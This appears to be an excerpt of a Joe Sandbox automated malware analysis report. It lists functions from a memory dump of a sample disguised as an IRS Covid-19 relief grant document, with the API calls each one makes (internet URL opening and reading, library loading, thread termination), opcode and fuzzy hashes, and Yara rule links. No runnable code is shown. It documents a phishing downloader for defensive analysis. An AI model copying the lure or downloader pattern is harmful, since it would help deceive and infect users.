API String ID: 1998099105-0
Opcode ID: d835c5d43223e8be47fa954c8650dd51c6c174bbf5d820b26166de530217a790
Instruction ID: edc34ba47f043ce595d81c83a7f6f9fe5dad37d3c89585c50b5da3c8c2ac39a9
Opcode Fuzzy Hash: d835c5d43223e8be47fa954c8650dd51c6c174bbf5d820b26166de530217a790
Instruction Fuzzy Hash: 16313A316093C68ECB21DF7489693CA7FA2BF93350FA8818EC8C64B257D7708552D796

Uniqueness

Uniqueness Score: -1.00%

Function 00568EA6, Relevance: 1.6, APIs: 1, Instructions: 100filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 66bf32c06e370e57209368b2e7831cc77c40c73d9f7e83e9c12c9b396b90cff6
Instruction ID: 78090714d9cfe795d4af6d32c2c6792cba681a8a7562d55ca332075a6fcd0373
Opcode Fuzzy Hash: 66bf32c06e370e57209368b2e7831cc77c40c73d9f7e83e9c12c9b396b90cff6
Instruction Fuzzy Hash: 2631F634208243DDEF25562684A87B4BEBDBF66364FB94E5BC897871A6C3B144C4E343

Uniqueness

Uniqueness Score: -1.00%

Function 00564676, Relevance: 1.6, APIs: 1, Instructions: 99libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0056694E: LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Part of subcall function 0056475F: InternetOpenA.WININET(00565013,00000000,00000000,00000000,00000000), ref: 00564795
Part of subcall function 0056475F: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen$InitializeLibraryLoadThunk
String ID:
API String ID: 1998099105-0
Opcode ID: f9a720ee238a174043f6e319e99e5006cf67764ffc238978f5de93b19cac46db
Instruction ID: 548dd093600e59520c0a77e3e129d1f2f9aabbf4ad1195bd477361676ce013a6
Opcode Fuzzy Hash: f9a720ee238a174043f6e319e99e5006cf67764ffc238978f5de93b19cac46db
Instruction Fuzzy Hash: 3231263165D3C68ECB22DB7488AA3C6FFA2BFA2314F9C808EC4C14B117D6B05552D792

Uniqueness

Uniqueness Score: -1.00%

Function 00568ED1, Relevance: 1.6, APIs: 1, Instructions: 99filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 97290d7950489fe1ec172b41d6b179761f047ad1d759cf9bbdad4953f67997cf
Instruction ID: 52771e689a337c9a6cfe7560115f4d3fdaa1a0d9dd4c4e35e32de5a6b837d132
Opcode Fuzzy Hash: 97290d7950489fe1ec172b41d6b179761f047ad1d759cf9bbdad4953f67997cf
Instruction Fuzzy Hash: 2D31E534208243DDEF25562684A87B4BEBDBF66364FB95E5AC897831A6C3B144C4E343

Uniqueness

Uniqueness Score: -1.00%

Function 00564546, Relevance: 1.6, APIs: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 00034cdd56cf605b482999856c312ad2140c524a2d88cd138a28c67fbecd39ed
Instruction ID: 6122890b9cf394862c4121cd1574559cc9eb61f55af0134f3c6bb931895c7d10
Opcode Fuzzy Hash: 00034cdd56cf605b482999856c312ad2140c524a2d88cd138a28c67fbecd39ed
Instruction Fuzzy Hash: 5631042566E3C289DB128B7A949A786FFE4EFA3218B5C80CFC0C047127D6F04065E752

Uniqueness

Uniqueness Score: -1.00%

Function 00568F2E, Relevance: 1.6, APIs: 1, Instructions: 90filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 912314486f3cb9907e33640406127c4349a091c9bca22dbaea8425348ece3a4c
Instruction ID: 59c3db03633223dbbe53b2d41e0651cf5cd9af877bedb3348ce211ca7d69c5f9
Opcode Fuzzy Hash: 912314486f3cb9907e33640406127c4349a091c9bca22dbaea8425348ece3a4c
Instruction Fuzzy Hash: 1121E434208243DDEF25562684A87B4BEBDBF66324FA95A5BC897831A6C3B044C4E343

Uniqueness

Uniqueness Score: -1.00%

Function 0056453F, Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b74016ac600e524ac9be785b0390597a08c3aca2e28641ecfe194400fdcb3601
Instruction ID: 09a3fd2ecd7206b76fb2f2b3878a382f3000c9128bf79c66084360cfa97d777d
Opcode Fuzzy Hash: b74016ac600e524ac9be785b0390597a08c3aca2e28641ecfe194400fdcb3601
Instruction Fuzzy Hash: 3131063566E3C18ACB128B75949A786FFE5AFA3314F5C80CFC0C147123D2B04065D792

Uniqueness

Uniqueness Score: -1.00%

Function 00564FB6, Relevance: 1.6, APIs: 1, Instructions: 88libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 84c79ae1712b8d9635c725605bd2ec12ab40c4fe81d1e3a9209f0108514be468
Instruction ID: 2e839b4bddbeb02586387af1fe7c21869ce2f9ced70358df09219e4da47e7fcb
Opcode Fuzzy Hash: 84c79ae1712b8d9635c725605bd2ec12ab40c4fe81d1e3a9209f0108514be468
Instruction Fuzzy Hash: E121E52566E7C289C70387BA54DB686FFE8EDE321835C85CFC0C047127D5E05065E3A2

Uniqueness

Uniqueness Score: -1.00%

Function 00568F71, Relevance: 1.6, APIs: 1, Instructions: 85filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: c70db1fc1430dd115740c05b47a5e5e4862a92ebb10a84f5a51774ddf9b7b650
Instruction ID: e8a524b441469d3d3f91f37163a84250384eae83ae8952d1672aedf321b51dee
Opcode Fuzzy Hash: c70db1fc1430dd115740c05b47a5e5e4862a92ebb10a84f5a51774ddf9b7b650
Instruction Fuzzy Hash: EB21B634208243CDEF25952684A87B4BEAD7F66324FB9599BC88783165D3B544C8E343

Uniqueness

Uniqueness Score: -1.00%

Function 00564F7F, Relevance: 1.6, APIs: 1, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cbdd937c378f7a173e84ebbc2dbcf9af5bd8e45e570473a16b0a6e86c4009bee
Instruction ID: 48d24255fe960977493aeac7ba4d776bda51ac37e3b8257ff3d0c1090c951772
Opcode Fuzzy Hash: cbdd937c378f7a173e84ebbc2dbcf9af5bd8e45e570473a16b0a6e86c4009bee
Instruction Fuzzy Hash: A221222566E7C289CB1387B944EA286FFE4EEA321432C85DFC0C147127D6A04165E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00568F9D, Relevance: 1.6, APIs: 1, Instructions: 81filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 6d801a9d71f7a534c6c518e473c9c94622721750fccdf8891d554ed646b88c04
Instruction ID: 801b6cd8484d2f2669901b222c54df202db654972503dfd49bfe3f39f2744bae
Opcode Fuzzy Hash: 6d801a9d71f7a534c6c518e473c9c94622721750fccdf8891d554ed646b88c04
Instruction Fuzzy Hash: B921C534208243CDEF25962684A87B4BFBD7F66324FA95D9BC88783166C3B144C8E343

Uniqueness

Uniqueness Score: -1.00%

Function 00568FC5, Relevance: 1.6, APIs: 1, Instructions: 79filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 321be2c327ce6d1183ce0c982b3b46242553222f5e8adad215ce931e582197c9
Instruction ID: 52304ef58d94f67d738455558e29fb25c35665e1a133f63f0428978e58959f52
Opcode Fuzzy Hash: 321be2c327ce6d1183ce0c982b3b46242553222f5e8adad215ce931e582197c9
Instruction Fuzzy Hash: AD21B634608243CDEF11552284A87B47EBDBF62324F69499B884783156C3B144C4D303

Uniqueness

Uniqueness Score: -1.00%

Function 00562EE2, Relevance: 1.6, APIs: 1, Instructions: 77threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 00562F0D

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: ea7ad708475264c56b5fcca7cf2cc9b96ec736904628763c4f9b40c925c6e22d
Instruction ID: 53217a7f111f7218fc64d207babdd0eb66721d60ad50e567e3a8ae5cc4fc96aa
Opcode Fuzzy Hash: ea7ad708475264c56b5fcca7cf2cc9b96ec736904628763c4f9b40c925c6e22d
Instruction Fuzzy Hash: F4215770644342DEEB004A7889D9BA5BEB9BF66374F68465A9D62870E3D7B0C880CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00562EC6, Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 00562F0D

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 2525f58d6dc430055c887070270d5a9ed1bf025f66ff7c078d79aa0aa8a98bc8
Instruction ID: 3c451539f8f263cdb9e2ffc9b555560a4713be95b87ce9bbf4d1f93d14dad0c4
Opcode Fuzzy Hash: 2525f58d6dc430055c887070270d5a9ed1bf025f66ff7c078d79aa0aa8a98bc8
Instruction Fuzzy Hash: A81136702403029FEB104E18CEE9BA93AB5FF16370F680655EE128B1D1D771C880CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00564A7C, Relevance: 1.6, APIs: 1, Instructions: 74libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2e54218c1c025aa72bc1dafece1a8eb4d4281e38a4356d935fdd11f4c15e3bcd
Instruction ID: 9c744a1178dfc64dfe339751642405bd994b27572a7e785cc6432c0cd3e3ef23
Opcode Fuzzy Hash: 2e54218c1c025aa72bc1dafece1a8eb4d4281e38a4356d935fdd11f4c15e3bcd
Instruction Fuzzy Hash: BE11AF1454C609FEEE302A908E647F91D71BF4A764FB08E27BCC3970154B248989AB17

Uniqueness

Uniqueness Score: -1.00%

Function 00568FF6, Relevance: 1.6, APIs: 1, Instructions: 74filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 839563c1a42d790aebc83ca51e1886082671642ef64f6808da3955bea338d975
Instruction ID: 7773145721f96ee337fbd87419213d8e060b200fa191e3a5eca5fdeef386ecb5
Opcode Fuzzy Hash: 839563c1a42d790aebc83ca51e1886082671642ef64f6808da3955bea338d975
Instruction Fuzzy Hash: 2521E734608343CDEF25552684A87B0BEBDBF66364FB94D9B884783166C3B144C8D303

Uniqueness

Uniqueness Score: -1.00%

Function 00566951, Relevance: 1.6, APIs: 1, Instructions: 72libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 92b75bff0dfcd5993fb33c21a4ebf2f2b9077445eb2abef4f1f1d43a4f8ed8ef
Instruction ID: a7ecea22ca90a2cb0db5c7ca5ff1e5255f89dd411f60b9817a23185a8891bc09
Opcode Fuzzy Hash: 92b75bff0dfcd5993fb33c21a4ebf2f2b9077445eb2abef4f1f1d43a4f8ed8ef
Instruction Fuzzy Hash: DF115C1455C686DADB21167489697B9EEB1FF96358F788D1BBCC383013C7648889E703

Uniqueness

Uniqueness Score: -1.00%

Function 00569026, Relevance: 1.6, APIs: 1, Instructions: 71filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: e53a8a2cebb833e3d9546c29ea482e40cd5e23a74c1b6866a6819e2de45f7105
Instruction ID: aa812d6f139502d024ca38ed4d474e70b610fac37a9c208bcd1dabef3e53c58d
Opcode Fuzzy Hash: e53a8a2cebb833e3d9546c29ea482e40cd5e23a74c1b6866a6819e2de45f7105
Instruction Fuzzy Hash: E211B434608243CDEF25552684A87B4BFBDBF66328FA9499B888783166D3B144C8E303

Uniqueness

Uniqueness Score: -1.00%

Function 00564736, Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0056475F: InternetOpenA.WININET(00565013,00000000,00000000,00000000,00000000), ref: 00564795
Part of subcall function 0056475F: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 0056487A

LdrInitializeThunk.NTDLL ref: 005650A1

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InternetOpen$InitializeThunk
String ID:
API String ID: 518753361-0
Opcode ID: ca1a7b17fd7b55fcb3e12665dbb008b40f58016a629eee6e9574f2d9fbfd790e
Instruction ID: 5c1ff875c3e77ff6ca6d4c1fc7b703f0f67d2087d0188945c6ea2db189180474
Opcode Fuzzy Hash: ca1a7b17fd7b55fcb3e12665dbb008b40f58016a629eee6e9574f2d9fbfd790e
Instruction Fuzzy Hash: EF21002666E7C289C71387B954EA682FFE4BDA321832CC4CFC0C047123D5E09565E393

Uniqueness

Uniqueness Score: -1.00%

Function 00569059, Relevance: 1.6, APIs: 1, Instructions: 69filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: f5f6ad1cbe95147ca4089c1371dbf0eba99385bab47c4d8c39fc4a9e37b9986d
Instruction ID: 88c6aef59a2e99b940c5f4259e191f723140d3866d75d7c96c89e2085d6c12de
Opcode Fuzzy Hash: f5f6ad1cbe95147ca4089c1371dbf0eba99385bab47c4d8c39fc4a9e37b9986d
Instruction Fuzzy Hash: 1511B634208243CDEF25557684A97B4BFBDBF66328FAD499B8497C3166D2B144C8E303

Uniqueness

Uniqueness Score: -1.00%

Function 00566F35, Relevance: 1.6, APIs: 1, Instructions: 69libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4f942cdf27904b780634288420bcf1df942bcfbd00cd77e01f30dacebacccbb9
Instruction ID: e35b3c98057f4e1428f89c8a255097efa456151f129acf31236ffe16ecc88c95
Opcode Fuzzy Hash: 4f942cdf27904b780634288420bcf1df942bcfbd00cd77e01f30dacebacccbb9
Instruction Fuzzy Hash: 3311611454C60AFEEE3026504E247FA0D70FF96768EB48F27BCD39701197288989A743

Uniqueness

Uniqueness Score: -1.00%

Function 0056697E, Relevance: 1.6, APIs: 1, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e6f95211179a7778b2095090caaf180a8fa2679ae0e8d7c16edba86bdd3f6cb6
Instruction ID: 99eddf00b5e946725b2bcba9d0fb867f30edc6fdefaa1dda21310509a8266d53
Opcode Fuzzy Hash: e6f95211179a7778b2095090caaf180a8fa2679ae0e8d7c16edba86bdd3f6cb6
Instruction Fuzzy Hash: 17118C0454C646EAEB2116B499653B59DB0BF95358F788D1BBCC3C30238B648889A303

Uniqueness

Uniqueness Score: -1.00%

Function 005669A6, Relevance: 1.6, APIs: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 483710610532786e183a5fa20f3169aecad8c178c7faeeb2e484ee32d710df93
Instruction ID: 370de7e3d3fadfee8f897d785c92d5d5e7a4706b2ab20fa681c06c4411d6fcdf
Opcode Fuzzy Hash: 483710610532786e183a5fa20f3169aecad8c178c7faeeb2e484ee32d710df93
Instruction Fuzzy Hash: 9711AB0454C686E9EB2116B499683B99DB0BF95318FB8CD1BBCC3C30238B648889E303

Uniqueness

Uniqueness Score: -1.00%

Function 005669CE, Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 03aa5ed134773fd56aba85b8ada2d70e619b396e64c5960333eac3f1aabb8c17
Instruction ID: a709adffa585a7f69756d044cfcc0aa2f06e110cca4ecdd62ed0ab440a23636b
Opcode Fuzzy Hash: 03aa5ed134773fd56aba85b8ada2d70e619b396e64c5960333eac3f1aabb8c17
Instruction Fuzzy Hash: 29118E1454C646E5EB2126B489597F99DB0BF95314F78CD1BBCD3C302387544989E703

Uniqueness

Uniqueness Score: -1.00%

Function 0056694E, Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 459bf0ad63ad7df281ace31baaed2db2d9b950797c18788a2a58f1b4da352972
Instruction ID: 1f2b2ba62ee2bd3b2362363ccf4f2172e468e3064f7982bfbcfeb8b3f880398a
Opcode Fuzzy Hash: 459bf0ad63ad7df281ace31baaed2db2d9b950797c18788a2a58f1b4da352972
Instruction Fuzzy Hash: 76014C1454C509FEEE302A508E257FA0D70BF89754EB48E17BCD3930218B298989A713

Uniqueness

Uniqueness Score: -1.00%

Function 005669FE, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6ac2e57e2be315691fde3e07a808982d7d53d47374f6f3a7b5d65608a682e6f5
Instruction ID: 8b870f7ce8f939e70eff140e62191dd27cafd89e2a372900a4b869a32df53ded
Opcode Fuzzy Hash: 6ac2e57e2be315691fde3e07a808982d7d53d47374f6f3a7b5d65608a682e6f5
Instruction Fuzzy Hash: CB016D1414C686D5DB1166B499697F9EEB0BF96318F788E1FBCD38302387644589E703

Uniqueness

Uniqueness Score: -1.00%

Function 0056909A, Relevance: 1.6, APIs: 1, Instructions: 60filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 8a9000831c2064e7b1bc6410cd5c92f61f34d71c4f7a6baabe05db58df9546ca
Instruction ID: 81b919408a3b64b3d82d2e9224b3eda020559b12659a9edb66c391ee7a1465d1
Opcode Fuzzy Hash: 8a9000831c2064e7b1bc6410cd5c92f61f34d71c4f7a6baabe05db58df9546ca
Instruction Fuzzy Hash: B411A524318243CCEF15557684A93B4BEBEBE67354BBD0D8B8497C3566D2B144C9E303

Uniqueness

Uniqueness Score: -1.00%

Function 005690D6, Relevance: 1.6, APIs: 1, Instructions: 55filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: f69d9b8cb0ff6186b3a96a729de3cfa83f6947887f9c3e8c656d895a79ebc044
Instruction ID: ae418a6c0ca60a9447ff5f71afe2258fdbc4843e05ddfba0dadd5f0ecf2d1fbd
Opcode Fuzzy Hash: f69d9b8cb0ff6186b3a96a729de3cfa83f6947887f9c3e8c656d895a79ebc044
Instruction Fuzzy Hash: 8A01B52831C283D8AB16517A44A92B4BFAEACA73547FC098F8893C3416D2710089E303

Uniqueness

Uniqueness Score: -1.00%

Function 00566AF5, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 17fc75b0e70e9bb5f03a39c26a7dbc03f470028b0764c56b6a97c790f8d6a86f
Instruction ID: e7566fc29dd66b9b2c6c655391d84d9812d9bef17eea56ff4ea4d24cd508e212
Opcode Fuzzy Hash: 17fc75b0e70e9bb5f03a39c26a7dbc03f470028b0764c56b6a97c790f8d6a86f
Instruction Fuzzy Hash: B801F51466C7C3CAEB038275549A295FFE4ECD63187AC499F98E283117C7F00459E713

Uniqueness

Uniqueness Score: -1.00%

Function 005690FE, Relevance: 1.6, APIs: 1, Instructions: 53filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: be6ee5492c9747d029cb59e6a761bd424b040a6555d5f54a2c2734b5b30caee8
Instruction ID: d3e65b2ff53dd6b798075f28108447495110ac6857e9731fe9be95fbe3f5f583
Opcode Fuzzy Hash: be6ee5492c9747d029cb59e6a761bd424b040a6555d5f54a2c2734b5b30caee8
Instruction Fuzzy Hash: 6301882431D383D8AB56517A54A92B4BFADACA73547EC499F8993C3516D2710085E303

Uniqueness

Uniqueness Score: -1.00%

Function 00566A5E, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

